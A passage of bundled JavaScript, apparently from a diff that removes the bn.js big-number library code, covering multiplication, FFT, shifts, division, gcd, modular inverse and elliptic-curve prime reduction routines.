Math.imul(al6, bl8) | 0; - mid = mid + Math.imul(al6, bh8) | 0; - mid = mid + Math.imul(ah6, bl8) | 0; - hi = hi + Math.imul(ah6, bh8) | 0; - lo = lo + Math.imul(al5, bl9) | 0; - mid = mid + Math.imul(al5, bh9) | 0; - mid = mid + Math.imul(ah5, bl9) | 0; - hi = hi + Math.imul(ah5, bh9) | 0; - var w14 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w14 >>> 26) | 0; - w14 &= 67108863; - lo = Math.imul(al9, bl6); - mid = Math.imul(al9, bh6); - mid = mid + Math.imul(ah9, bl6) | 0; - hi = Math.imul(ah9, bh6); - lo = lo + Math.imul(al8, bl7) | 0; - mid = mid + Math.imul(al8, bh7) | 0; - mid = mid + Math.imul(ah8, bl7) | 0; - hi = hi + Math.imul(ah8, bh7) | 0; - lo = lo + Math.imul(al7, bl8) | 0; - mid = mid + Math.imul(al7, bh8) | 0; - mid = mid + Math.imul(ah7, bl8) | 0; - hi = hi + Math.imul(ah7, bh8) | 0; - lo = lo + Math.imul(al6, bl9) | 0; - mid = mid + Math.imul(al6, bh9) | 0; - mid = mid + Math.imul(ah6, bl9) | 0; - hi = hi + Math.imul(ah6, bh9) | 0; - var w15 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w15 >>> 26) | 0; - w15 &= 67108863; - lo = Math.imul(al9, bl7); - mid = Math.imul(al9, bh7); - mid = mid + Math.imul(ah9, bl7) | 0; - hi = Math.imul(ah9, bh7); - lo = lo + Math.imul(al8, bl8) | 0; - mid = mid + Math.imul(al8, bh8) | 0; - mid = mid + Math.imul(ah8, bl8) | 0; - hi = hi + Math.imul(ah8, bh8) | 0; - lo = lo + Math.imul(al7, bl9) | 0; - mid = mid + Math.imul(al7, bh9) | 0; - mid = mid + Math.imul(ah7, bl9) | 0; - hi = hi + Math.imul(ah7, bh9) | 0; - var w16 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w16 >>> 26) | 0; - w16 &= 67108863; - lo = Math.imul(al9, bl8); - mid = Math.imul(al9, bh8); - mid = mid + Math.imul(ah9, bl8) | 0; - hi = Math.imul(ah9, bh8); - lo = lo + Math.imul(al8, bl9) | 0; - mid = mid + Math.imul(al8, bh9) | 0; - mid = mid + Math.imul(ah8, bl9) | 0; - hi = hi + Math.imul(ah8, bh9) | 0; - var w17 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w17 >>> 26) | 0; - w17 &= 67108863; - lo = Math.imul(al9, bl9); - mid = Math.imul(al9, bh9); - mid = mid + Math.imul(ah9, bl9) | 0; - hi = Math.imul(ah9, bh9); - var w18 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w18 >>> 26) | 0; - w18 &= 67108863; - o[0] = w0; - o[1] = w1; - o[2] = w2; - o[3] = w3; - o[4] = w4; - o[5] = w5; - o[6] = w6; - o[7] = w7; - o[8] = w8; - o[9] = w9; - o[10] = w10; - o[11] = w11; - o[12] = w12; - o[13] = w13; - o[14] = w14; - o[15] = w15; - o[16] = w16; - o[17] = w17; - o[18] = w18; - if (c !== 0) { - o[19] = c; - out.length++; - } - return out; - }; - if (!Math.imul) { - comb10MulTo = smallMulTo; - } - function bigMulTo(self2, num, out) { - out.negative = num.negative ^ self2.negative; - out.length = self2.length + num.length; - var carry = 0; - var hncarry = 0; - for (var k = 0; k < out.length - 1; k++) { - var ncarry = hncarry; - hncarry = 0; - var rword = carry & 67108863; - var maxJ = Math.min(k, num.length - 1); - for (var j = Math.max(0, k - self2.length + 1); j <= maxJ; j++) { - var i = k - j; - var a = self2.words[i] | 0; - var b = num.words[j] | 0; - var r3 = a * b; - var lo = r3 & 67108863; - ncarry = ncarry + (r3 / 67108864 | 0) | 0; - lo = lo + rword | 0; - rword = lo & 67108863; - ncarry = ncarry + (lo >>> 26) | 0; - hncarry += ncarry >>> 26; - ncarry &= 67108863; - } - out.words[k] = rword; - carry = ncarry; - ncarry = hncarry; - } - if (carry !== 0) { - out.words[k] = carry; - } else { - out.length--; - } - return out._strip(); - } - function jumboMulTo(self2, num, out) { - return bigMulTo(self2, num, out); - } - BN4.prototype.mulTo = function mulTo(num, out) { - var res; - var len = this.length + num.length; - if (this.length === 10 && num.length === 10) { - res = comb10MulTo(this, num, out); - } else if (len < 63) { - res = smallMulTo(this, num, out); - } else if (len < 1024) { - res = bigMulTo(this, num, out); - } else { - res = jumboMulTo(this, num, out); - } - return res; - }; - function FFTM(x, y) { - this.x = x; - this.y = y; - } - FFTM.prototype.makeRBT = function makeRBT(N2) { - var t = new Array(N2); - var l = BN4.prototype._countBits(N2) - 1; - for (var i = 0; i < N2; i++) { - t[i] = this.revBin(i, l, N2); - } - return t; - }; - FFTM.prototype.revBin = function revBin(x, l, N2) { - if (x === 0 || x === N2 - 1) - return x; - var rb = 0; - for (var i = 0; i < l; i++) { - rb |= (x & 1) << l - i - 1; - x >>= 1; - } - return rb; - }; - FFTM.prototype.permute = function permute(rbt, rws, iws, rtws, itws, N2) { - for (var i = 0; i < N2; i++) { - rtws[i] = rws[rbt[i]]; - itws[i] = iws[rbt[i]]; - } - }; - FFTM.prototype.transform = function transform(rws, iws, rtws, itws, N2, rbt) { - this.permute(rbt, rws, iws, rtws, itws, N2); - for (var s = 1; s < N2; s <<= 1) { - var l = s << 1; - var rtwdf = Math.cos(2 * Math.PI / l); - var itwdf = Math.sin(2 * Math.PI / l); - for (var p = 0; p < N2; p += l) { - var rtwdf_ = rtwdf; - var itwdf_ = itwdf; - for (var j = 0; j < s; j++) { - var re = rtws[p + j]; - var ie = itws[p + j]; - var ro = rtws[p + j + s]; - var io = itws[p + j + s]; - var rx = rtwdf_ * ro - itwdf_ * io; - io = rtwdf_ * io + itwdf_ * ro; - ro = rx; - rtws[p + j] = re + ro; - itws[p + j] = ie + io; - rtws[p + j + s] = re - ro; - itws[p + j + s] = ie - io; - if (j !== l) { - rx = rtwdf * rtwdf_ - itwdf * itwdf_; - itwdf_ = rtwdf * itwdf_ + itwdf * rtwdf_; - rtwdf_ = rx; - } - } - } - } - }; - FFTM.prototype.guessLen13b = function guessLen13b(n, m) { - var N2 = Math.max(m, n) | 1; - var odd = N2 & 1; - var i = 0; - for (N2 = N2 / 2 | 0; N2; N2 = N2 >>> 1) { - i++; - } - return 1 << i + 1 + odd; - }; - FFTM.prototype.conjugate = function conjugate(rws, iws, N2) { - if (N2 <= 1) - return; - for (var i = 0; i < N2 / 2; i++) { - var t = rws[i]; - rws[i] = rws[N2 - i - 1]; - rws[N2 - i - 1] = t; - t = iws[i]; - iws[i] = -iws[N2 - i - 1]; - iws[N2 - i - 1] = -t; - } - }; - FFTM.prototype.normalize13b = function normalize13b(ws, N2) { - var carry = 0; - for (var i = 0; i < N2 / 2; i++) { - var w = Math.round(ws[2 * i + 1] / N2) * 8192 + Math.round(ws[2 * i] / N2) + carry; - ws[i] = w & 67108863; - if (w < 67108864) { - carry = 0; - } else { - carry = w / 67108864 | 0; - } - } - return ws; - }; - FFTM.prototype.convert13b = function convert13b(ws, len, rws, N2) { - var carry = 0; - for (var i = 0; i < len; i++) { - carry = carry + (ws[i] | 0); - rws[2 * i] = carry & 8191; - carry = carry >>> 13; - rws[2 * i + 1] = carry & 8191; - carry = carry >>> 13; - } - for (i = 2 * len; i < N2; ++i) { - rws[i] = 0; - } - assert3(carry === 0); - assert3((carry & ~8191) === 0); - }; - FFTM.prototype.stub = function stub(N2) { - var ph = new Array(N2); - for (var i = 0; i < N2; i++) { - ph[i] = 0; - } - return ph; - }; - FFTM.prototype.mulp = function mulp(x, y, out) { - var N2 = 2 * this.guessLen13b(x.length, y.length); - var rbt = this.makeRBT(N2); - var _ = this.stub(N2); - var rws = new Array(N2); - var rwst = new Array(N2); - var iwst = new Array(N2); - var nrws = new Array(N2); - var nrwst = new Array(N2); - var niwst = new Array(N2); - var rmws = out.words; - rmws.length = N2; - this.convert13b(x.words, x.length, rws, N2); - this.convert13b(y.words, y.length, nrws, N2); - this.transform(rws, _, rwst, iwst, N2, rbt); - this.transform(nrws, _, nrwst, niwst, N2, rbt); - for (var i = 0; i < N2; i++) { - var rx = rwst[i] * nrwst[i] - iwst[i] * niwst[i]; - iwst[i] = rwst[i] * niwst[i] + iwst[i] * nrwst[i]; - rwst[i] = rx; - } - this.conjugate(rwst, iwst, N2); - this.transform(rwst, iwst, rmws, _, N2, rbt); - this.conjugate(rmws, _, N2); - this.normalize13b(rmws, N2); - out.negative = x.negative ^ y.negative; - out.length = x.length + y.length; - return out._strip(); - }; - BN4.prototype.mul = function mul5(num) { - var out = new BN4(null); - out.words = new Array(this.length + num.length); - return this.mulTo(num, out); - }; - BN4.prototype.mulf = function mulf(num) { - var out = new BN4(null); - out.words = new Array(this.length + num.length); - return jumboMulTo(this, num, out); - }; - BN4.prototype.imul = function imul(num) { - return this.clone().mulTo(num, this); - }; - BN4.prototype.imuln = function imuln(num) { - var isNegNum = num < 0; - if (isNegNum) - num = -num; - assert3(typeof num === "number"); - assert3(num < 67108864); - var carry = 0; - for (var i = 0; i < this.length; i++) { - var w = (this.words[i] | 0) * num; - var lo = (w & 67108863) + (carry & 67108863); - carry >>= 26; - carry += w / 67108864 | 0; - carry += lo >>> 26; - this.words[i] = lo & 67108863; - } - if (carry !== 0) { - this.words[i] = carry; - this.length++; - } - return isNegNum ? this.ineg() : this; - }; - BN4.prototype.muln = function muln(num) { - return this.clone().imuln(num); - }; - BN4.prototype.sqr = function sqr() { - return this.mul(this); - }; - BN4.prototype.isqr = function isqr() { - return this.imul(this.clone()); - }; - BN4.prototype.pow = function pow(num) { - var w = toBitArray(num); - if (w.length === 0) - return new BN4(1); - var res = this; - for (var i = 0; i < w.length; i++, res = res.sqr()) { - if (w[i] !== 0) - break; - } - if (++i < w.length) { - for (var q = res.sqr(); i < w.length; i++, q = q.sqr()) { - if (w[i] === 0) - continue; - res = res.mul(q); - } - } - return res; - }; - BN4.prototype.iushln = function iushln(bits) { - assert3(typeof bits === "number" && bits >= 0); - var r3 = bits % 26; - var s = (bits - r3) / 26; - var carryMask = 67108863 >>> 26 - r3 << 26 - r3; - var i; - if (r3 !== 0) { - var carry = 0; - for (i = 0; i < this.length; i++) { - var newCarry = this.words[i] & carryMask; - var c = (this.words[i] | 0) - newCarry << r3; - this.words[i] = c | carry; - carry = newCarry >>> 26 - r3; - } - if (carry) { - this.words[i] = carry; - this.length++; - } - } - if (s !== 0) { - for (i = this.length - 1; i >= 0; i--) { - this.words[i + s] = this.words[i]; - } - for (i = 0; i < s; i++) { - this.words[i] = 0; - } - this.length += s; - } - return this._strip(); - }; - BN4.prototype.ishln = function ishln(bits) { - assert3(this.negative === 0); - return this.iushln(bits); - }; - BN4.prototype.iushrn = function iushrn(bits, hint, extended) { - assert3(typeof bits === "number" && bits >= 0); - var h; - if (hint) { - h = (hint - hint % 26) / 26; - } else { - h = 0; - } - var r3 = bits % 26; - var s = Math.min((bits - r3) / 26, this.length); - var mask = 67108863 ^ 67108863 >>> r3 << r3; - var maskedWords = extended; - h -= s; - h = Math.max(0, h); - if (maskedWords) { - for (var i = 0; i < s; i++) { - maskedWords.words[i] = this.words[i]; - } - maskedWords.length = s; - } - if (s === 0) { - } else if (this.length > s) { - this.length -= s; - for (i = 0; i < this.length; i++) { - this.words[i] = this.words[i + s]; - } - } else { - this.words[0] = 0; - this.length = 1; - } - var carry = 0; - for (i = this.length - 1; i >= 0 && (carry !== 0 || i >= h); i--) { - var word = this.words[i] | 0; - this.words[i] = carry << 26 - r3 | word >>> r3; - carry = word & mask; - } - if (maskedWords && carry !== 0) { - maskedWords.words[maskedWords.length++] = carry; - } - if (this.length === 0) { - this.words[0] = 0; - this.length = 1; - } - return this._strip(); - }; - BN4.prototype.ishrn = function ishrn(bits, hint, extended) { - assert3(this.negative === 0); - return this.iushrn(bits, hint, extended); - }; - BN4.prototype.shln = function shln(bits) { - return this.clone().ishln(bits); - }; - BN4.prototype.ushln = function ushln(bits) { - return this.clone().iushln(bits); - }; - BN4.prototype.shrn = function shrn(bits) { - return this.clone().ishrn(bits); - }; - BN4.prototype.ushrn = function ushrn(bits) { - return this.clone().iushrn(bits); - }; - BN4.prototype.testn = function testn(bit) { - assert3(typeof bit === "number" && bit >= 0); - var r3 = bit % 26; - var s = (bit - r3) / 26; - var q = 1 << r3; - if (this.length <= s) - return false; - var w = this.words[s]; - return !!(w & q); - }; - BN4.prototype.imaskn = function imaskn(bits) { - assert3(typeof bits === "number" && bits >= 0); - var r3 = bits % 26; - var s = (bits - r3) / 26; - assert3(this.negative === 0, "imaskn works only with positive numbers"); - if (this.length <= s) { - return this; - } - if (r3 !== 0) { - s++; - } - this.length = Math.min(s, this.length); - if (r3 !== 0) { - var mask = 67108863 ^ 67108863 >>> r3 << r3; - this.words[this.length - 1] &= mask; - } - return this._strip(); - }; - BN4.prototype.maskn = function maskn(bits) { - return this.clone().imaskn(bits); - }; - BN4.prototype.iaddn = function iaddn(num) { - assert3(typeof num === "number"); - assert3(num < 67108864); - if (num < 0) - return this.isubn(-num); - if (this.negative !== 0) { - if (this.length === 1 && (this.words[0] | 0) <= num) { - this.words[0] = num - (this.words[0] | 0); - this.negative = 0; - return this; - } - this.negative = 0; - this.isubn(num); - this.negative = 1; - return this; - } - return this._iaddn(num); - }; - BN4.prototype._iaddn = function _iaddn(num) { - this.words[0] += num; - for (var i = 0; i < this.length && this.words[i] >= 67108864; i++) { - this.words[i] -= 67108864; - if (i === this.length - 1) { - this.words[i + 1] = 1; - } else { - this.words[i + 1]++; - } - } - this.length = Math.max(this.length, i + 1); - return this; - }; - BN4.prototype.isubn = function isubn(num) { - assert3(typeof num === "number"); - assert3(num < 67108864); - if (num < 0) - return this.iaddn(-num); - if (this.negative !== 0) { - this.negative = 0; - this.iaddn(num); - this.negative = 1; - return this; - } - this.words[0] -= num; - if (this.length === 1 && this.words[0] < 0) { - this.words[0] = -this.words[0]; - this.negative = 1; - } else { - for (var i = 0; i < this.length && this.words[i] < 0; i++) { - this.words[i] += 67108864; - this.words[i + 1] -= 1; - } - } - return this._strip(); - }; - BN4.prototype.addn = function addn(num) { - return this.clone().iaddn(num); - }; - BN4.prototype.subn = function subn(num) { - return this.clone().isubn(num); - }; - BN4.prototype.iabs = function iabs() { - this.negative = 0; - return this; - }; - BN4.prototype.abs = function abs() { - return this.clone().iabs(); - }; - BN4.prototype._ishlnsubmul = function _ishlnsubmul(num, mul5, shift) { - var len = num.length + shift; - var i; - this._expand(len); - var w; - var carry = 0; - for (i = 0; i < num.length; i++) { - w = (this.words[i + shift] | 0) + carry; - var right = (num.words[i] | 0) * mul5; - w -= right & 67108863; - carry = (w >> 26) - (right / 67108864 | 0); - this.words[i + shift] = w & 67108863; - } - for (; i < this.length - shift; i++) { - w = (this.words[i + shift] | 0) + carry; - carry = w >> 26; - this.words[i + shift] = w & 67108863; - } - if (carry === 0) - return this._strip(); - assert3(carry === -1); - carry = 0; - for (i = 0; i < this.length; i++) { - w = -(this.words[i] | 0) + carry; - carry = w >> 26; - this.words[i] = w & 67108863; - } - this.negative = 1; - return this._strip(); - }; - BN4.prototype._wordDiv = function _wordDiv(num, mode) { - var shift = this.length - num.length; - var a = this.clone(); - var b = num; - var bhi = b.words[b.length - 1] | 0; - var bhiBits = this._countBits(bhi); - shift = 26 - bhiBits; - if (shift !== 0) { - b = b.ushln(shift); - a.iushln(shift); - bhi = b.words[b.length - 1] | 0; - } - var m = a.length - b.length; - var q; - if (mode !== "mod") { - q = new BN4(null); - q.length = m + 1; - q.words = new Array(q.length); - for (var i = 0; i < q.length; i++) { - q.words[i] = 0; - } - } - var diff = a.clone()._ishlnsubmul(b, 1, m); - if (diff.negative === 0) { - a = diff; - if (q) { - q.words[m] = 1; - } - } - for (var j = m - 1; j >= 0; j--) { - var qj = (a.words[b.length + j] | 0) * 67108864 + (a.words[b.length + j - 1] | 0); - qj = Math.min(qj / bhi | 0, 67108863); - a._ishlnsubmul(b, qj, j); - while (a.negative !== 0) { - qj--; - a.negative = 0; - a._ishlnsubmul(b, 1, j); - if (!a.isZero()) { - a.negative ^= 1; - } - } - if (q) { - q.words[j] = qj; - } - } - if (q) { - q._strip(); - } - a._strip(); - if (mode !== "div" && shift !== 0) { - a.iushrn(shift); - } - return { - div: q || null, - mod: a - }; - }; - BN4.prototype.divmod = function divmod(num, mode, positive) { - assert3(!num.isZero()); - if (this.isZero()) { - return { - div: new BN4(0), - mod: new BN4(0) - }; - } - var div, mod, res; - if (this.negative !== 0 && num.negative === 0) { - res = this.neg().divmod(num, mode); - if (mode !== "mod") { - div = res.div.neg(); - } - if (mode !== "div") { - mod = res.mod.neg(); - if (positive && mod.negative !== 0) { - mod.iadd(num); - } - } - return { - div, - mod - }; - } - if (this.negative === 0 && num.negative !== 0) { - res = this.divmod(num.neg(), mode); - if (mode !== "mod") { - div = res.div.neg(); - } - return { - div, - mod: res.mod - }; - } - if ((this.negative & num.negative) !== 0) { - res = this.neg().divmod(num.neg(), mode); - if (mode !== "div") { - mod = res.mod.neg(); - if (positive && mod.negative !== 0) { - mod.isub(num); - } - } - return { - div: res.div, - mod - }; - } - if (num.length > this.length || this.cmp(num) < 0) { - return { - div: new BN4(0), - mod: this - }; - } - if (num.length === 1) { - if (mode === "div") { - return { - div: this.divn(num.words[0]), - mod: null - }; - } - if (mode === "mod") { - return { - div: null, - mod: new BN4(this.modrn(num.words[0])) - }; - } - return { - div: this.divn(num.words[0]), - mod: new BN4(this.modrn(num.words[0])) - }; - } - return this._wordDiv(num, mode); - }; - BN4.prototype.div = function div(num) { - return this.divmod(num, "div", false).div; - }; - BN4.prototype.mod = function mod(num) { - return this.divmod(num, "mod", false).mod; - }; - BN4.prototype.umod = function umod(num) { - return this.divmod(num, "mod", true).mod; - }; - BN4.prototype.divRound = function divRound(num) { - var dm = this.divmod(num); - if (dm.mod.isZero()) - return dm.div; - var mod = dm.div.negative !== 0 ? dm.mod.isub(num) : dm.mod; - var half = num.ushrn(1); - var r22 = num.andln(1); - var cmp = mod.cmp(half); - if (cmp < 0 || r22 === 1 && cmp === 0) - return dm.div; - return dm.div.negative !== 0 ? dm.div.isubn(1) : dm.div.iaddn(1); - }; - BN4.prototype.modrn = function modrn(num) { - var isNegNum = num < 0; - if (isNegNum) - num = -num; - assert3(num <= 67108863); - var p = (1 << 26) % num; - var acc = 0; - for (var i = this.length - 1; i >= 0; i--) { - acc = (p * acc + (this.words[i] | 0)) % num; - } - return isNegNum ? -acc : acc; - }; - BN4.prototype.modn = function modn(num) { - return this.modrn(num); - }; - BN4.prototype.idivn = function idivn(num) { - var isNegNum = num < 0; - if (isNegNum) - num = -num; - assert3(num <= 67108863); - var carry = 0; - for (var i = this.length - 1; i >= 0; i--) { - var w = (this.words[i] | 0) + carry * 67108864; - this.words[i] = w / num | 0; - carry = w % num; - } - this._strip(); - return isNegNum ? this.ineg() : this; - }; - BN4.prototype.divn = function divn(num) { - return this.clone().idivn(num); - }; - BN4.prototype.egcd = function egcd(p) { - assert3(p.negative === 0); - assert3(!p.isZero()); - var x = this; - var y = p.clone(); - if (x.negative !== 0) { - x = x.umod(p); - } else { - x = x.clone(); - } - var A = new BN4(1); - var B = new BN4(0); - var C = new BN4(0); - var D = new BN4(1); - var g = 0; - while (x.isEven() && y.isEven()) { - x.iushrn(1); - y.iushrn(1); - ++g; - } - var yp = y.clone(); - var xp = x.clone(); - while (!x.isZero()) { - for (var i = 0, im = 1; (x.words[0] & im) === 0 && i < 26; ++i, im <<= 1) - ; - if (i > 0) { - x.iushrn(i); - while (i-- > 0) { - if (A.isOdd() || B.isOdd()) { - A.iadd(yp); - B.isub(xp); - } - A.iushrn(1); - B.iushrn(1); - } - } - for (var j = 0, jm = 1; (y.words[0] & jm) === 0 && j < 26; ++j, jm <<= 1) - ; - if (j > 0) { - y.iushrn(j); - while (j-- > 0) { - if (C.isOdd() || D.isOdd()) { - C.iadd(yp); - D.isub(xp); - } - C.iushrn(1); - D.iushrn(1); - } - } - if (x.cmp(y) >= 0) { - x.isub(y); - A.isub(C); - B.isub(D); - } else { - y.isub(x); - C.isub(A); - D.isub(B); - } - } - return { - a: C, - b: D, - gcd: y.iushln(g) - }; - }; - BN4.prototype._invmp = function _invmp(p) { - assert3(p.negative === 0); - assert3(!p.isZero()); - var a = this; - var b = p.clone(); - if (a.negative !== 0) { - a = a.umod(p); - } else { - a = a.clone(); - } - var x1 = new BN4(1); - var x2 = new BN4(0); - var delta = b.clone(); - while (a.cmpn(1) > 0 && b.cmpn(1) > 0) { - for (var i = 0, im = 1; (a.words[0] & im) === 0 && i < 26; ++i, im <<= 1) - ; - if (i > 0) { - a.iushrn(i); - while (i-- > 0) { - if (x1.isOdd()) { - x1.iadd(delta); - } - x1.iushrn(1); - } - } - for (var j = 0, jm = 1; (b.words[0] & jm) === 0 && j < 26; ++j, jm <<= 1) - ; - if (j > 0) { - b.iushrn(j); - while (j-- > 0) { - if (x2.isOdd()) { - x2.iadd(delta); - } - x2.iushrn(1); - } - } - if (a.cmp(b) >= 0) { - a.isub(b); - x1.isub(x2); - } else { - b.isub(a); - x2.isub(x1); - } - } - var res; - if (a.cmpn(1) === 0) { - res = x1; - } else { - res = x2; - } - if (res.cmpn(0) < 0) { - res.iadd(p); - } - return res; - }; - BN4.prototype.gcd = function gcd(num) { - if (this.isZero()) - return num.abs(); - if (num.isZero()) - return this.abs(); - var a = this.clone(); - var b = num.clone(); - a.negative = 0; - b.negative = 0; - for (var shift = 0; a.isEven() && b.isEven(); shift++) { - a.iushrn(1); - b.iushrn(1); - } - do { - while (a.isEven()) { - a.iushrn(1); - } - while (b.isEven()) { - b.iushrn(1); - } - var r3 = a.cmp(b); - if (r3 < 0) { - var t = a; - a = b; - b = t; - } else if (r3 === 0 || b.cmpn(1) === 0) { - break; - } - a.isub(b); - } while (true); - return b.iushln(shift); - }; - BN4.prototype.invm = function invm(num) { - return this.egcd(num).a.umod(num); - }; - BN4.prototype.isEven = function isEven() { - return (this.words[0] & 1) === 0; - }; - BN4.prototype.isOdd = function isOdd() { - return (this.words[0] & 1) === 1; - }; - BN4.prototype.andln = function andln(num) { - return this.words[0] & num; - }; - BN4.prototype.bincn = function bincn(bit) { - assert3(typeof bit === "number"); - var r3 = bit % 26; - var s = (bit - r3) / 26; - var q = 1 << r3; - if (this.length <= s) { - this._expand(s + 1); - this.words[s] |= q; - return this; - } - var carry = q; - for (var i = s; carry !== 0 && i < this.length; i++) { - var w = this.words[i] | 0; - w += carry; - carry = w >>> 26; - w &= 67108863; - this.words[i] = w; - } - if (carry !== 0) { - this.words[i] = carry; - this.length++; - } - return this; - }; - BN4.prototype.isZero = function isZero() { - return this.length === 1 && this.words[0] === 0; - }; - BN4.prototype.cmpn = function cmpn(num) { - var negative = num < 0; - if (this.negative !== 0 && !negative) - return -1; - if (this.negative === 0 && negative) - return 1; - this._strip(); - var res; - if (this.length > 1) { - res = 1; - } else { - if (negative) { - num = -num; - } - assert3(num <= 67108863, "Number is too big"); - var w = this.words[0] | 0; - res = w === num ? 0 : w < num ? -1 : 1; - } - if (this.negative !== 0) - return -res | 0; - return res; - }; - BN4.prototype.cmp = function cmp(num) { - if (this.negative !== 0 && num.negative === 0) - return -1; - if (this.negative === 0 && num.negative !== 0) - return 1; - var res = this.ucmp(num); - if (this.negative !== 0) - return -res | 0; - return res; - }; - BN4.prototype.ucmp = function ucmp(num) { - if (this.length > num.length) - return 1; - if (this.length < num.length) - return -1; - var res = 0; - for (var i = this.length - 1; i >= 0; i--) { - var a = this.words[i] | 0; - var b = num.words[i] | 0; - if (a === b) - continue; - if (a < b) { - res = -1; - } else if (a > b) { - res = 1; - } - break; - } - return res; - }; - BN4.prototype.gtn = function gtn(num) { - return this.cmpn(num) === 1; - }; - BN4.prototype.gt = function gt(num) { - return this.cmp(num) === 1; - }; - BN4.prototype.gten = function gten(num) { - return this.cmpn(num) >= 0; - }; - BN4.prototype.gte = function gte(num) { - return this.cmp(num) >= 0; - }; - BN4.prototype.ltn = function ltn(num) { - return this.cmpn(num) === -1; - }; - BN4.prototype.lt = function lt(num) { - return this.cmp(num) === -1; - }; - BN4.prototype.lten = function lten(num) { - return this.cmpn(num) <= 0; - }; - BN4.prototype.lte = function lte(num) { - return this.cmp(num) <= 0; - }; - BN4.prototype.eqn = function eqn(num) { - return this.cmpn(num) === 0; - }; - BN4.prototype.eq = function eq7(num) { - return this.cmp(num) === 0; - }; - BN4.red = function red(num) { - return new Red(num); - }; - BN4.prototype.toRed = function toRed(ctx) { - assert3(!this.red, "Already a number in reduction context"); - assert3(this.negative === 0, "red works only with positives"); - return ctx.convertTo(this)._forceRed(ctx); - }; - BN4.prototype.fromRed = function fromRed() { - assert3(this.red, "fromRed works only with numbers in reduction context"); - return this.red.convertFrom(this); - }; - BN4.prototype._forceRed = function _forceRed(ctx) { - this.red = ctx; - return this; - }; - BN4.prototype.forceRed = function forceRed(ctx) { - assert3(!this.red, "Already a number in reduction context"); - return this._forceRed(ctx); - }; - BN4.prototype.redAdd = function redAdd(num) { - assert3(this.red, "redAdd works only with red numbers"); - return this.red.add(this, num); - }; - BN4.prototype.redIAdd = function redIAdd(num) { - assert3(this.red, "redIAdd works only with red numbers"); - return this.red.iadd(this, num); - }; - BN4.prototype.redSub = function redSub(num) { - assert3(this.red, "redSub works only with red numbers"); - return this.red.sub(this, num); - }; - BN4.prototype.redISub = function redISub(num) { - assert3(this.red, "redISub works only with red numbers"); - return this.red.isub(this, num); - }; - BN4.prototype.redShl = function redShl(num) { - assert3(this.red, "redShl works only with red numbers"); - return this.red.shl(this, num); - }; - BN4.prototype.redMul = function redMul(num) { - assert3(this.red, "redMul works only with red numbers"); - this.red._verify2(this, num); - return this.red.mul(this, num); - }; - BN4.prototype.redIMul = function redIMul(num) { - assert3(this.red, "redMul works only with red numbers"); - this.red._verify2(this, num); - return this.red.imul(this, num); - }; - BN4.prototype.redSqr = function redSqr() { - assert3(this.red, "redSqr works only with red numbers"); - this.red._verify1(this); - return this.red.sqr(this); - }; - BN4.prototype.redISqr = function redISqr() { - assert3(this.red, "redISqr works only with red numbers"); - this.red._verify1(this); - return this.red.isqr(this); - }; - BN4.prototype.redSqrt = function redSqrt() { - assert3(this.red, "redSqrt works only with red numbers"); - this.red._verify1(this); - return this.red.sqrt(this); - }; - BN4.prototype.redInvm = function redInvm() { - assert3(this.red, "redInvm works only with red numbers"); - this.red._verify1(this); - return this.red.invm(this); - }; - BN4.prototype.redNeg = function redNeg() { - assert3(this.red, "redNeg works only with red numbers"); - this.red._verify1(this); - return this.red.neg(this); - }; - BN4.prototype.redPow = function redPow(num) { - assert3(this.red && !num.red, "redPow(normalNum)"); - this.red._verify1(this); - return this.red.pow(this, num); - }; - var primes = { - k256: null, - p224: null, - p192: null, - p25519: null - }; - function MPrime(name, p) { - this.name = name; - this.p = new BN4(p, 16); - this.n = this.p.bitLength(); - this.k = new BN4(1).iushln(this.n).isub(this.p); - this.tmp = this._tmp(); - } - MPrime.prototype._tmp = function _tmp() { - var tmp = new BN4(null); - tmp.words = new Array(Math.ceil(this.n / 13)); - return tmp; - }; - MPrime.prototype.ireduce = function ireduce(num) { - var r3 = num; - var rlen; - do { - this.split(r3, this.tmp); - r3 = this.imulK(r3); - r3 = r3.iadd(this.tmp); - rlen = r3.bitLength(); - } while (rlen > this.n); - var cmp = rlen < this.n ? -1 : r3.ucmp(this.p); - if (cmp === 0) { - r3.words[0] = 0; - r3.length = 1; - } else if (cmp > 0) { - r3.isub(this.p); - } else { - if (r3.strip !== void 0) { - r3.strip(); - } else { - r3._strip(); - } - } - return r3; - }; - MPrime.prototype.split = function split(input, out) { - input.iushrn(this.n, 0, out); - }; - MPrime.prototype.imulK = function imulK(num) { - return num.imul(this.k); - }; - function K256() { - MPrime.call( - this, - "k256", - "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f" - ); - } - inherits2(K256, MPrime); - K256.prototype.split = function split(input, output) { - var mask = 4194303; - var outLen = Math.min(input.length, 9); - for (var i = 0; i < outLen; i++) { - output.words[i] = input.words[i]; - } - output.length = outLen; - if (input.length <= 9) { - input.words[0] = 0; - input.length = 1; - return; - } - var prev = input.words[9]; - output.words[output.length++] = prev & mask; - for (i = 10; i < input.length; i++) { - var next = input.words[i] | 0; - input.words[i - 10] = (next & mask) << 4 | prev >>> 22; - prev = next; - } - prev >>>= 22; - input.words[i - 10] = prev; - if (prev === 0 && input.length > 10) { - input.length -= 10; - } else { - input.length -= 9; - } - }; - K256.prototype.imulK = function imulK(num) { - num.words[num.length] = 0; - num.words[num.length + 1] = 0; - num.length += 2; - var lo = 0; - for (var i = 0; i < num.length; i++) { - var w = num.words[i] | 0; - lo += w * 977; - num.words[i] = lo & 67108863; - lo = w * 64 + (lo / 67108864 | 0); - } - if (num.words[num.length - 1] === 0) { - num.length--; - if (num.words[num.length - 1] === 0) { - num.length--; - } - } - return num; - }; - function P224() { - MPrime.call( - this, - "p224", - "ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001" - ); - } - inherits2(P224, MPrime); - function P192() { - MPrime.call( - this, - "p192", - "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff" - ); - } - inherits2(P192, MPrime); - function P25519() { - MPrime.call( - this, - "25519", - "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed" - ); - } - inherits2(P25519, MPrime); - P25519.prototype.imulK = function imulK(num) { - var carry = 0; - for (var i = 0; i < num.length; i++) { - var hi = (num.words[i] | 0) * 